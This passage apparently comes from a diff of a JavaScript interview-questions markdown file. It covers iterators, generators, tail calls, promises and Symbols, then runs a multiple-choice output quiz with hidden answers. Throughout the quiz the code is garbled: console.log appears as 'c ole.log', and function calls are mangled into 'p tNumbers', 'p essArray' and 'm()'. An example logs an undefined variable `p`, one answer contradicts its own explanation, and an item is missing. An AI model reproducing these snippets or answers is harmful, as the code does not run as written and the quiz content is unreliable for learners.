+             By default, plain objects are not iterable. But you can make the object iterable by defining a `Symbol.iterator` property on it.
+
+             Let's demonstrate this with an example,
+
+             ```js
+
+        //
+        const collection = {
+        one: 1,
+        two: 2,
+        three: 3,
+        [Symbol.iterator]() {
+        const values = Object.keys(this);
+        let i = 0;
+        return {
+        next: () => {
+        return {
+        value: this[values[i++]],
+        done: i > values.length
+        };
+        }
+        };
+        }
+        };
+
+             const iterator = collection[Symbol.iterator]();
+
+             console.log(iterator.next()); // → {value: 1, done: false}
+             console.log(iterator.next()); // → {value: 2, done: false}
+             console.log(iterator.next()); // → {value: 3, done: false}
+             console.log(iterator.next()); // → {value: undefined, done: true}
+             ```
+
+             The above process can be simplified using a generator function,
+
+             ```js
+
+        //
+        const collection = {
+        one: 1,
+        two: 2,
+        three: 3,
+        [Symbol.iterator]: function\* () {
+        for (let key in this) {
+        yield this[key];
+        }
+        }
+        };
+        const iterator = collection[Symbol.iterator]();
+        console.log(iterator.next()); // {value: 1, done: false}
+        console.log(iterator.next()); // {value: 2, done: false}
+        console.log(iterator.next()); // {value: 3, done: false}
+        console.log(iterator.next()); // {value: undefined, done: true}
+
+        ```
+
+        ```
+
+411.    What is a Proper Tail Call
+
+             First, we should know about tail call before talking about "Proper Tail Call". A tail call is a subroutine or function call performed as the final action of a calling function. Whereas **Proper tail call(PTC)** is a technique where the program or code will not create additional stack frames for a recursion when the function call is a tail call.
+
+             For example, the below classic or head recursion of factorial function relies on stack for each step. Each step need to be processed upto `n * factorial(n - 1)`
+
+             ```js
+
+        //
+        function factorial(n) {
+        if (n === 0) {
+        return 1;
+        }
+        return n \* factorial(n - 1);
+        }
+        console.log(factorial(5)); //120
+
+        ````
+
+             But if you use Tail recursion functions, they keep passing all the necessary data it needs down the recursion without relying on the stack.
+
+             ```js
+
+        //
+        function factorial(n, acc = 1) {
+        if (n === 0) {
+        return acc;
+        }
+        return factorial(n - 1, n \* acc);
+        }
+        console.log(factorial(5)); //120
+        ````
+
+             The above pattern returns the same output as the first one. But the accumulator keeps track of total as an argument without using stack memory on recursive calls.
+
+412.    How do you check an object is a promise or not
+
+             If you don't know if a value is a promise or not, wrapping the value as `Promise.resolve(value)` which returns a promise
+
+             ```js
+
+        //
+        function isPromise(object) {
+        if (Promise && Promise.resolve) {
+        return Promise.resolve(object) == object;
+        } else {
+        throw 'Promise not supported in your environment';
+        }
+        }
+
+             var i = 1;
+             var promise = new Promise(function (resolve, reject) {
+                 resolve();
+             });
+
+             console.log(isPromise(i)); // false
+             console.log(isPromise(p)); // true
+             ```
+
+             Another way is to check for `.then()` handler type
+
+             ```js
+
+        //
+        function isPromise(value) {
+        return Boolean(value && typeof value.then === 'function');
+        }
+        var i = 1;
+        var promise = new Promise(function (resolve, reject) {
+        resolve();
+        });
+
+             console.log(isPromise(i)); // false
+             console.log(isPromise(promise)); // true
+             ```
+
+413.    How to detect if a function is called as constructor
+
+             You can use `new.target` pseudo-property to detect whether a function was called as a constructor(using the new operator) or as a regular function call.
+
+             1. If a constructor or function invoked using the new operator, new.target returns a reference to the constructor or function.
+             2. For function calls, new.target is undefined.
+
+             ```js
+
+        //
+        function Myfunc() {
+        if (new.target) {
+        console.log('called with new');
+        } else {
+        console.log('not called with new');
+        }
+        }
+
+             new Myfunc(); // called with new
+             Myfunc(); // not called with new
+             Myfunc.call({}); not called with new
+             ```
+
+414.    What are the differences between arguments object and rest parameter
+
+        There are three main differences between arguments object and rest parameters
+
+        1. The arguments object is an array-like but not an array. Whereas the rest parameters are array instances.
+        2. The arguments object does not support methods such as sort, map, forEach, or pop. Whereas these methods can be used in rest parameters.
+        3. The rest parameters are only the ones that haven't been given a separate name, while the arguments object contains all arguments passed to the function
+
+415.    What are the differences between spread operator and rest parameter
+
+        Rest parameter collects all remaining elements into an array. Whereas Spread operator allows iterables( arrays / objects / strings ) to be expanded into single arguments/elements. i.e, Rest parameter is opposite to the spread operator.
+
+416.    What are the different kinds of generators
+
+             There are five kinds of generators,
+
+             1. **Generator function declaration:**
+
+                 ```js
+
+        //
+        function\* myGenFunc() {
+        yield 1;
+        yield 2;
+        yield 3;
+        }
+        const genObj = myGenFunc();
+
+        ````
+
+             2. **Generator function expressions:**
+
+                 ```js
+
+        //
+        const myGenFunc = function\* () {
+        yield 1;
+        yield 2;
+        yield 3;
+        };
+        const genObj = myGenFunc();
+        ````
+
+             3. **Generator method definitions in object literals:**
+
+                 ```js
+
+        //
+        const myObj = {
+        \*myGeneratorMethod() {
+        yield 1;
+        yield 2;
+        yield 3;
+        }
+        };
+        const genObj = myObj.myGeneratorMethod();
+
+        ````
+
+             4. **Generator method definitions in class:**
+
+                 ```js
+
+        //
+        class MyClass {
+        \*myGeneratorMethod() {
+        yield 1;
+        yield 2;
+        yield 3;
+        }
+        }
+        const myObject = new MyClass();
+        const genObj = myObject.myGeneratorMethod();
+        ````
+
+             5. **Generator as a computed property:**
+
+                 ```js
+
+        //
+        const SomeObj = { \*[Symbol.iterator]() {
+        yield 1;
+        yield 2;
+        yield 3;
+        }
+        };
+
+                 console.log(Array.from(SomeObj)); // [ 1, 2, 3 ]
+                 ```
+
+417.    What are the built-in iterables
+
+        Below are the list of built-in iterables in javascript,
+
+        1. Arrays and TypedArrays
+        2. Strings: Iterate over each character or Unicode code-points
+        3. Maps: iterate over its key-value pairs
+        4. Sets: iterates over their elements
+        5. arguments: An array-like special variable in functions
+        6. DOM collection such as NodeList
+
+418.    What are the differences between for...of and for...in statements
+
+             Both for...in and for...of statements iterate over js data structures. The only difference is over what they iterate:
+
+             1. for..in iterates over all enumerable property keys of an object
+             2. for..of iterates over the values of an iterable object.
+
+             Let's explain this difference with an example,
+
+             ```js
+
+        //
+        let arr = ['a', 'b', 'c'];
+
+             arr.newProp = 'newVlue';
+
+             // key are the property keys
+             for (let key in arr) {
+                 console.log(key);
+             }
+
+             // value are the property values
+             for (let value of arr) {
+                 console.log(value);
+             }
+             ```
+
+             Since for..in loop iterates over the keys of the object, the first loop logs 0, 1, 2 and newProp while iterating over the array object. The for..of loop iterates over the values of a arr data structure and logs a, b, c in the console.
+
+419.    How do you define instance and non-instance properties
+
+             The Instance properties must be defined inside of class methods. For example, name and age properties defined insider constructor as below,
+
+             ```js
+
+        //
+        class Person {
+        constructor(name, age) {
+        this.name = name;
+        this.age = age;
+        }
+        }
+
+        ````
+
+             But Static(class) and prototype data properties must be defined outside of the ClassBody declaration. Let's assign the age value for Person class as below,
+
+             ```js
+
+        //
+        Person.staticAge = 30;
+        Person.prototype.prototypeAge = 40;
+        ````
+
+420.    What is the difference between isNaN and Number.isNaN?
+
+             1. **isNaN**: The global function `isNaN` converts the argument to a Number and returns true if the resulting value is NaN.
+             2. **Number.isNaN**: This method does not convert the argument. But it returns true when the type is a Number and value is NaN.
+
+             Let's see the difference with an example,
+
+             ```js
+
+        //
+        isNaN('hello'); // true
+        Number.isNaN('hello'); // false
+
+        ```
+
+        ```
+
+421.    How to invoke an IIFE without any extra brackets?
+
+             Immediately Invoked Function Expressions(IIFE) requires a pair of parenthesis to wrap the function which contains set of statements.
+
+             ```js
+
+        //
+        (function (dt) {
+        console.log(dt.toLocaleTimeString());
+        })(new Date());
+
+        ````
+
+             Since both IIFE and void operator discard the result of an expression, you can avoid the extra brackets using `void operator` for IIFE as below,
+
+             ```js
+
+        //
+        void (function (dt) {
+        console.log(dt.toLocaleTimeString());
+        })(new Date());
+        ````
+
+422.    Is that possible to use expressions in switch cases?
+
+             You might have seen expressions used in switch condition but it is also possible to use for switch cases by assigning true value for the switch condition. Let's see the weather condition based on temparature as an example,
+
+             ```js
+
+        //
+        const weather = (function getWeather(temp) {
+        switch (true) {
+        case temp < 0:
+        return 'freezing';
+        case temp < 10:
+        return 'cold';
+        case temp < 24:
+        return 'cool';
+        default:
+        return 'unknown';
+        }
+        })(10);
+
+        ```
+
+        ```
+
+423.    What is the easiest way to ignore promise errors?
+
+             The easiest and safest way to ignore promise errors is void that error. This approach is ESLint friendly too.
+
+             ```js
+
+        //
+        await promise.catch((e) => void e);
+
+        ```
+
+        ```
+
+424.    How do style the console output using CSS?
+
+             You can add CSS styling to the console output using the CSS format content specifier %c. The console string message can be appended after the specifier and CSS style in another argument. Let's print the red the color text using console.log and CSS specifier as below,
+
+             ```js
+
+        //
+        console.log('%cThis is a red text', 'color:red');
+
+        ````
+
+             It is also possible to add more styles for the content. For example, the font-size can be modified for the above text
+
+             ```js
+
+        //
+        console.log('%cThis is a red text with bigger font', 'color:red; font-size:20px');
+        ````
+
+425.    What is nullish coalescing operator (??)?
+
+             It is a logical operator that returns its right-hand side operand when its left-hand side operand is null or undefined, and otherwise returns its left-hand side operand. This can be contrasted with the logical OR (||) operator, which returns the right-hand side operand if the left operand is any falsy value, not only null or undefined.
+
+             ```js
+
+        //
+        console.log(null ?? true); // true
+        console.log(false ?? true); // false
+        console.log(undefined ?? true); // true
+
+        ```
+
+        ```
+
+### Coding Exercise
+
+#### 1. What is the output of below code
+
+```js
+//
+var car = new Vehicle('Honda', 'white', '2010', 'UK');
+console.log(car);
+
+function Vehicle(model, color, year, country) {
+    this.model = model;
+    this.color = color;
+    this.year = year;
+    this.country = country;
+}
+```
+
+-   Undefined
+-   2: ReferenceError
+-   3: null
+-   4: {model: "Honda", color: "white", year: "2010", country: "UK"}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The function declarations are hoisted similar to any variables. So the placement for `Vehicle` function declaration doesn't make any difference.
+
+</p>
+</details>
+
+---
+
+#### 2. What is the output of below code
+
+---
+
+```js
+//
+
+
+function foo() {
+    let x = (y = 0);
+    x++;
+    y++;
+    return x;
+}
+
+c ole.log(foo(), typeof x, typeof y);
+```
+
+-   1, undefined and undefined
+-   2: ReferenceError: X is not defined
+-   3: 1, undefined and number
+-   4: 1, number and number
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+Of course the return value of `foo()` is 1 due to the increment operator. But the statement `let x = y = 0` declares a local variable x. Whereas y declared as a global variable accidentally. This statement is equivalent to,
+
+```js
+//
+let x;
+window.y = 0;
+x = window.y;
+```
+
+Since the block scoped variable x is undefined outside of the function, the type will be undefined too. Whereas the global variable `y` is available outside the function, the value is 0 and type is number.
+
+</p>
+</details>
+
+---
+
+#### 3. What is the output of below code
+
+---
+
+```js
+//
+
+function main() {
+    console.log('A');
+    setTimeout(function print() {
+        console.log('B');
+    }, 0);
+    console.log('C');
+}
+m();
+```
+
+-   A, B and C
+-   2: B, A and C
+-   3: A and C
+-   4: A, C and B
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The statements order is based on the event loop mechanism. The order of statements follows the below order,
+
+1. At first, the main function is pushed to the stack.
+2. Then the browser pushes the fist statement of the main function( i.e, A's console.log) to the stack, executing and popping out immediately.
+3. But `setTimeout` statement moved to Browser API to apply the delay for callback.
+4. In the meantime, C's console.log added to stack, executed and popped out.
+5. The callback of `setTimeout` moved from Browser API to message queue.
+6. The `main` function popped out from stack because there are no statements to execute
+7. The callback moved from message queue to the stack since the stack is empty.
+8. The console.log for B is added to the stack and display on the console.
+
+</p>
+</details>
+
+---
+
+#### 4. What is the output of below equality check
+
+```js
+//
+c ole.log(0.1 + 0.2 === 0.3);
+```
+
+-   1: false
+-   2: true
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+This is due to the float point math problem. Since the floating point numbers are encoded in binary format, the addition operations on them lead to rounding errors. Hence, the comparison of floating points doesn't give expected results.
+You can find more details about the explanation here [0.30000000000000004.com/](https://0.30000000000000004.com/)
+
+</p>
+</details>
+
+---
+
+#### 5. What is the output of below code
+
+```js
+//
+var y = 1;
+if (function f() {}) {
+    y += typeof f;
+}
+c ole.log(y);
+```
+
+-   1function
+-   2: 1object
+-   3: ReferenceError
+-   4: 1undefined
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The main points in the above code snippets are,
+
+1. You can see function expression instead function declaration inside if statement. So it always returns true.
+2. Since it is not declared(or assigned) anywhere, f is undefined and typeof f is undefined too.
+
+In other words, it is same as
+
+```js
+//
+var y = 1;
+if ('foo') {
+    y += typeof f;
+}
+console.log(y);
+```
+
+**Note:** It returns 1object for MS Edge browser
+
+</p>
+</details>
+
+---
+
+#### 6. What is the output of below code
+
+---
+
+```js
+//
+
+
+function foo() {
+    return;
+    {
+        message: 'Hello World';
+    }
+}
+c ole.log(foo());
+```
+
+-   Hello World
+-   2: Object {message: "Hello World"}
+-   3: Undefined
+-   4: SyntaxError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+This is a semicolon issue. Normally semicolons are optional in JavaScript. So if there are any statements(in this case, return) missing semicolon, it is automatically inserted immediately. Hence, the function returned as undefined.
+
+Whereas if the opening curly brace is along with the return keyword then the function is going to be returned as expected.
+
+---
+
+```js
+//
+
+function foo() {
+    return {
+        message: 'Hello World'
+    };
+}
+console.log(foo()); // {message: "Hello World"}
+```
+
+</p>
+</details>
+
+---
+
+#### 7. What is the output of below code
+
+```js
+//
+var myChars = ['a', 'b', 'c', 'd'];
+delete myChars[0];
+console.log(myChars);
+console.log(myChars[0]);
+c ole.log(myChars.length);
+```
+
+-   [empty, 'b', 'c', 'd'], empty, 3
+-   2: [null, 'b', 'c', 'd'], empty, 3
+-   3: [empty, 'b', 'c', 'd'], undefined, 4
+-   4: [null, 'b', 'c', 'd'], undefined, 4
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+The `delete` operator will delete the object property but it will not reindex the array or change its length. So the number or elements or length of the array won't be changed.
+If you try to print myChars then you can observe that it doesn't set an undefined value, rather the property is removed from the array. The newer versions of Chrome use `empty` instead of `undefined` to make the difference a bit clearer.
+
+</p>
+</details>
+
+---
+
+#### 8. What is the output of below code in latest Chrome
+
+```js
+//
+var array1 = new Array(3);
+console.log(array1);
+
+var array2 = [];
+array2[2] = 100;
+console.log(array2);
+
+var array3 = [, , ,];
+c ole.log(array3);
+```
+
+-   [undefined × 3], [undefined × 2, 100], [undefined × 3]
+-   2: [empty × 3], [empty × 2, 100], [empty × 3]
+-   3: [null × 3], [null × 2, 100], [null × 3]
+-   4: [], [100], []
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+The latest chrome versions display `sparse array`(they are filled with holes) using this empty x n notation. Whereas the older versions have undefined x n notation.
+**Note:** The latest version of FF displays `n empty slots` notation.
+
+</p>
+</details>
+
+---
+
+#### 9. What is the output of below code
+
+```js
+//
+const obj = {
+    prop1: function () {
+        return 0;
+    },
+    prop2() {
+        return 1;
+    },
+    ['prop' + 3]() {
+        return 2;
+    }
+};
+
+console.log(obj.prop1());
+console.log(obj.prop2());
+c ole.log(obj.prop3());
+```
+
+-   0, 1, 2
+-   2: 0, { return 1 }, 2
+-   3: 0, { return 1 }, { return 2 }
+-   4: 0, 1, undefined
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+ES6 provides method definitions and property shorthands for objects. So both prop2 and prop3 are treated as regular function values.
+
+</p>
+</details>
+
+---
+
+#### 10. What is the output of below code
+
+```js
+//
+console.log(1 < 2 < 3);
+c ole.log(3 > 2 > 1);
+```
+
+-   true, true
+-   2: true, false
+-   3: SyntaxError, SyntaxError,
+-   4: false, false
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+The important point is that if the statement contains the same operators(e.g, < or >) then it can be evaluated from left to right.
+The first statement follows the below order,
+
+1. console.log(1 < 2 < 3);
+2. console.log(true < 3);
+3. console.log(1 < 3); // True converted as `1` during comparison
+4. True
+
+Whereas the second statement follows the below order,
+
+1. console.log(3 > 2 > 1);
+2. console.log(true > 1);
+3. console.log(1 > 1); // False converted as `0` during comparison
+4. False
+
+</p>
+</details>
+
+---
+
+#### 11. What is the output of below code in non-strict mode
+
+---
+
+```js
+//
+
+
+function printNumbers(first, second, first) {
+    console.log(first, second, first);
+}
+p tNumbers(1, 2, 3);
+```
+
+-   1, 2, 3
+-   2: 3, 2, 3
+-   3: SyntaxError: Duplicate parameter name not allowed in this context
+-   4: 1, 2, 1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+In non-strict mode, the regular JavaScript functions allow duplicate named parameters. The above code snippet has duplicate parameters on 1st and 3rd parameters.
+The value of the first parameter is mapped to the third argument which is passed to the function. Hence, the 3rd argument overrides the first parameter.
+
+**Note:** In strict mode, duplicate parameters will throw a Syntax Error.
+
+</p>
+</details>
+
+---
+
+#### 12. What is the output of below code
+
+```js
+//
+const printNumbersArrow = (first, second, first) => {
+    console.log(first, second, first);
+};
+p tNumbersArrow(1, 2, 3);
+```
+
+-   1, 2, 3
+-   2: 3, 2, 3
+-   3: SyntaxError: Duplicate parameter name not allowed in this context
+-   4: 1, 2, 1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+Unlike regular functions, the arrow functions doesn't not allow duplicate parameters in either strict or non-strict mode. So you can see `SyntaxError` in the console.
+
+</p>
+</details>
+
+---
+
+#### 13. What is the output of below code
+
+```js
+//
+const arrowFunc = () => arguments.length;
+c ole.log(arrowFunc(1, 2, 3));
+```
+
+-   ReferenceError: arguments is not defined
+-   2: 3
+-   3: undefined
+-   4: null
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+Arrow functions do not have an `arguments, super, this, or new.target` bindings. So any reference to `arguments` variable tries to resolve to a binding in a lexically enclosing environment. In this case, the arguments variable is not defined outside of the arrow function. Hence, you will receive a reference error.
+
+Where as the normal function provides the number of arguments passed to the function
+
+```js
+//
+const func = function () {
+    return arguments.length;
+};
+console.log(func(1, 2, 3));
+```
+
+But If you still want to use an arrow function then rest operator on arguments provides the expected arguments
+
+```js
+//
+const arrowFunc = (...args) => args.length;
+console.log(arrowFunc(1, 2, 3));
+```
+
+</p>
+</details>
+
+---
+
+#### 14. What is the output of below code
+
+```js
+//
+console.log(String.prototype.trimLeft.name === 'trimLeft');
+c ole.log(String.prototype.trimLeft.name === 'trimStart');
+```
+
+-   1: True, False
+-   2: False, True
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+In order to be consistent with functions like `String.prototype.padStart`, the standard method name for trimming the whitespaces is considered as `trimStart`. Due to web web compatibility reasons, the old method name 'trimLeft' still acts as an alias for 'trimStart'. Hence, the prototype for 'trimLeft' is always 'trimStart'
+
+</p>
+</details>
+
+---
+
+#### 15. What is the output of below code
+
+```js
+//
+c ole.log(Math.max());
+```
+
+-   undefined
+-   2: Infinity
+-   3: 0
+-   4: -Infinity
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+-Infinity is the initial comparant because almost every other value is bigger. So when no arguments are provided, -Infinity is going to be returned.
+**Note:** Zero number of arguments is a valid case.
+
+</p>
+</details>
+
+---
+
+#### 16. What is the output of below code
+
+```js
+//
+console.log(10 == [10]);
+c ole.log(10 == [[[[[[[10]]]]]]]);
+```
+
+-   True, True
+-   2: True, False
+-   3: False, False
+-   4: False, True
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+As per the comparison algorithm in the ECMAScript specification(ECMA-262), the above expression converted into JS as below
+
+```js
+//
+10 === Number([10].valueOf().toString()); // 10
+```
+
+So it doesn't matter about number brackets([]) around the number, it is always converted to a number in the expression.
+
+</p>
+</details>
+
+---
+
+#### 17. What is the output of below code
+
+```js
+//
+console.log(10 + '10');
+c ole.log(10 - '10');
+```
+
+-   20, 0
+-   2: 1010, 0
+-   3: 1010, 10-10
+-   4: NaN, NaN
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+The concatenation operator(+) is applicable for both number and string types. So if any operand is string type then both operands concatenated as strings. Whereas subtract(-) operator tries to convert the operands as number type.
+
+</p>
+</details>
+
+---
+
+#### 18. What is the output of below code
+
+```js
+//
+console.log([0] == false);
+if ([0]) {
+    console.log("I'm True");
+} else {
+    console.log("I'm False");
+}
+```
+
+-   True, I'm True
+-   2: True, I'm False
+-   3: False, I'm True
+-   4: False, I'm False
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+In comparison operators, the expression `[0]` converted to Number([0].valueOf().toString()) which is resolved to false. Whereas `[0]` just becomes a truthy value without any conversion because there is no comparison operator.
+
+</p>
+</details>
+
+#### 19. What is the output of below code
+
+```js
+//
+c ole.log([1, 2] + [3, 4]);
+```
+
+-   [1,2,3,4]
+-   2: [1,2][3,4]
+-   3: SyntaxError
+-   4: 1,23,4
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The + operator is not meant or defined for arrays. So it converts arrays into strings and concatenates them.
+
+</p>
+</details>
+
+---
+
+#### 20. What is the output of below code
+
+```js
+//
+const numbers = new Set([1, 1, 2, 3, 4]);
+console.log(numbers);
+
+const browser = new Set('Firefox');
+c ole.log(browser);
+```
+
+-   {1, 2, 3, 4}, {"F", "i", "r", "e", "f", "o", "x"}
+-   2: {1, 2, 3, 4}, {"F", "i", "r", "e", "o", "x"}
+-   3: [1, 2, 3, 4], ["F", "i", "r", "e", "o", "x"]
+-   4: {1, 1, 2, 3, 4}, {"F", "i", "r", "e", "f", "o", "x"}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+Since `Set` object is a collection of unique values, it won't allow duplicate values in the collection. At the same time, it is case sensitive data structure.
+
+</p>
+</details>
+
+---
+
+#### 21. What is the output of below code
+
+```js
+//
+c ole.log(NaN === NaN);
+```
+
+-   1: True
+-   2: False
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
+JavaScript follows IEEE 754 spec standards. As per this spec, NaNs are never equal for floating-point numbers.
+
+</p>
+</details>
+
+---
+
+#### 22. What is the output of below code
+
+```js
+//
+let numbers = [1, 2, 3, 4, NaN];
+c ole.log(numbers.indexOf(NaN));
+```
+
+-   4
+-   2: NaN
+-   3: SyntaxError
+-   4: -1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The `indexOf` uses strict equality operator(===) internally and `NaN === NaN` evaluates to false. Since indexOf won't be able to find NaN inside an array, it returns -1 always.
+But you can use `Array.prototype.findIndex` method to find out the index of NaN in an array or You can use `Array.prototype.includes` to check if NaN is present in an array or not.
+
+```js
+//
+let numbers = [1, 2, 3, 4, NaN];
+console.log(numbers.findIndex(Number.isNaN)); // 4
+
+console.log(numbers.includes(NaN)); // true
+```
+
+</p>
+</details>
+
+---
+
+#### 23. What is the output of below code
+
+```js
+//
+let [a, ...b,] = [1, 2, 3, 4, 5];
+c ole.log(a, b);
+```
+
+-   1, [2, 3, 4, 5]
+-   2: 1, {2, 3, 4, 5}
+-   3: SyntaxError
+-   4: 1, [2, 3, 4]
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+When using rest parameters, trailing commas are not allowed and will throw a SyntaxError.
+If you remove the trailing comma then it displays 1st answer
+
+```js
+//
+let [a, ...b] = [1, 2, 3, 4, 5];
+console.log(a, b); // 1, [2, 3, 4, 5]
+```
+
+</p>
+</details>
+
+---
+
+#### 25. What is the output of below code
+
+```js
+//
+async function func() {
+    return 10;
+}
+c ole.log(func());
+```
+
+-   Promise {\<fulfilled\>: 10}
+-   2: 10
+-   3: SyntaxError
+-   4: Promise {\<rejected\>: 10}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+Async functions always return a promise. But even if the return value of an async function is not explicitly a promise, it will be implicitly wrapped in a promise. The above async function is equivalent to below expression,
+
+---
+
+```js
+//
+
+function func() {
+    return Promise.resolve(10);
+}
+```
+
+</p>
+</details>
+
+---
+
+#### 26. What is the output of below code
+
+```js
+//
+async function func() {
+    await 10;
+}
+c ole.log(func());
+```
+
+-   Promise {\<fulfilled\>: 10}
+-   2: 10
+-   3: SyntaxError
+-   4: Promise {\<resolved\>: undefined}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The await expression returns value 10 with promise resolution and the code after each await expression can be treated as existing in a `.then` callback. In this case, there is no return expression at the end of the function. Hence, the default return value of `undefined` is returned as the resolution of the promise. The above async function is equivalent to below expression,
+
+---
+
+```js
+//
+
+function func() {
+    return Promise.resolve(10).then(() => undefined);
+}
+```
+
+</p>
+</details>
+
+---
+
+#### 27. What is the output of below code
+
+---
+
+```js
+//
+
+
+function delay() {
+    return new Promise((resolve) => setTimeout(resolve, 2000));
+}
+
+async function delayedLog(item) {
+    await delay();
+    console.log(item);
+}
+
+async function processArray(array) {
+    array.forEach((item) => {
+        await delayedLog(item);
+    });
+}
+
+p essArray([1, 2, 3, 4]);
+```
+
+-   SyntaxError
+-   2: 1, 2, 3, 4
+-   3: 4, 4, 4, 4
+-   4: 4, 3, 2, 1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+Even though "processArray" is an async function, the anonymous function that we use for `forEach` is synchronous. If you use await inside a synchronous function then it throws a syntax error.
+
+</p>
+
+</details>
+
+---
+
+#### 28. What is the output of below code
+
+---
+
+```js
+//
+
+
+function delay() {
+    return new Promise((resolve) => setTimeout(resolve, 2000));
+}
+
+async function delayedLog(item) {
+    await delay();
+    console.log(item);
+}
+
+async function process(array) {
+    array.forEach(async (item) => {
+        await delayedLog(item);
+    });
+    console.log('Process completed!');
+}
+p ess([1, 2, 3, 5]);
+```
+
+-   1 2 3 5 and Process completed!
+-   2: 5 5 5 5 and Process completed!
+-   3: Process completed! and 5 5 5 5
+-   4: Process completed! and 1 2 3 5
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The forEach method will not wait until all items are finished but it just runs the tasks and goes next. Hence, the last statement is displayed first followed by a sequence of promise resolutions.
+
+But you control the array sequence using for..of loop,
+
+```js
+//
+async function processArray(array) {
+    for (const item of array) {
+        await delayedLog(item);
+    }
+    console.log('Process completed!');
+}
+```
+
+</p>
+</details>
+
+---
+
+#### 29. What is the output of below code
+
+```js
+//
+var set = new Set();
+set.add('+0').add('-0').add(NaN).add(undefined).add(NaN);
+c ole.log(set);
+```
+
+-   Set(4) {"+0", "-0", NaN, undefined}
+-   2: Set(3) {"+0", NaN, undefined}
+-   3: Set(5) {"+0", "-0", NaN, undefined, NaN}
+-   4: Set(4) {"+0", NaN, undefined, NaN}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+Set has few exceptions from equality check,
+
+1. All NaN values are equal
+2. Both +0 and -0 considered as different values
+
+</p>
+</details>
+
+---
+
+#### 30. What is the output of below code
+
+```js
+//
+const sym1 = Symbol('one');
+const sym2 = Symbol('one');
+
+const sym3 = Symbol.for('two');
+const sym4 = Symbol.for('two');
+
+c oe.log(sym1 === sym2, sym3 === sym4);
+```
+
+-   true, true
+-   2: true, false
+-   3: false, true
+-   4: false, false
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 3
+
+Symbol follows below conventions,
+
+1. Every symbol value returned from Symbol() is unique irrespective of the optional string.
+2. `Symbol.for()` function creates a symbol in a global symbol registry list. But it doesn't necessarily create a new symbol on every call, it checks first if a symbol with the given key is already present in the registry and returns the symbol if it is found. Otherwise a new symbol created in the registry.
+
+**Note:** The symbol description is just useful for debugging purposes.
+
+</p>
+
+</details>
+
+---
+
+#### 31. What is the output of below code
+
+```js
+//
+const sym1 = new Symbol('one');
+c ole.log(sym1);
+```
+
+-   SyntaxError
+-   2: one
+-   3: Symbol('one')
+-   4: Symbol
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 1
+
+`Symbol` is a just a standard function and not an object constructor(unlike other primitives new Boolean, new String and new Number). So if you try to call it with the new operator will result in a TypeError
+
+</p>
+
+</details>
+
+---
+
+#### 32. What is the output of below code
+
+```js
+//
+let myNumber = 100;
+let myString = '100';
+
+if (!typeof myNumber === 'string') {
+    console.log('It is not a string!');
+} else {
+    console.log('It is a string!');
+}
+
+if (!typeof myString === 'number') {
+    console.log('It is not a number!');
+} else {
+    console.log('It is a number!');
+}
+```
+
+-   SyntaxError
+-   2: It is not a string!, It is not a number!
+-   3: It is not a string!, It is a number!
+-   4: It is a string!, It is a number!
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 4
+
+The return value of `typeof myNumber (OR) typeof myString` is always the truthy value (either "number" or "string"). Since ! operator converts the value to a boolean value, the value of both `!typeof myNumber or !typeof myString` is always false. Hence the if condition fails and control goes to else block.
+
+</p>
+
+</details>
+
+---
+
+#### 33. What is the output of below code
+
+```js
+//
+console.log(JSON.stringify({ myArray: ['one', undefined, function () {}, Symbol('')] }));
+c ole.log(JSON.stringify({ [Symbol.for('one')]: 'one' }, [Symbol.for('one')]));
+```
+
+-   {"myArray":['one', undefined, {}, Symbol]}, {}
+-   2: {"myArray":['one', null,null,null]}, {}
+-   3: {"myArray":['one', null,null,null]}, "{ [Symbol.for('one')]: 'one' }, [Symbol.for('one')]"
+-   4: {"myArray":['one', undefined, function(){}, Symbol('')]}, {}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+<p>
+
+##### Answer: 2
+
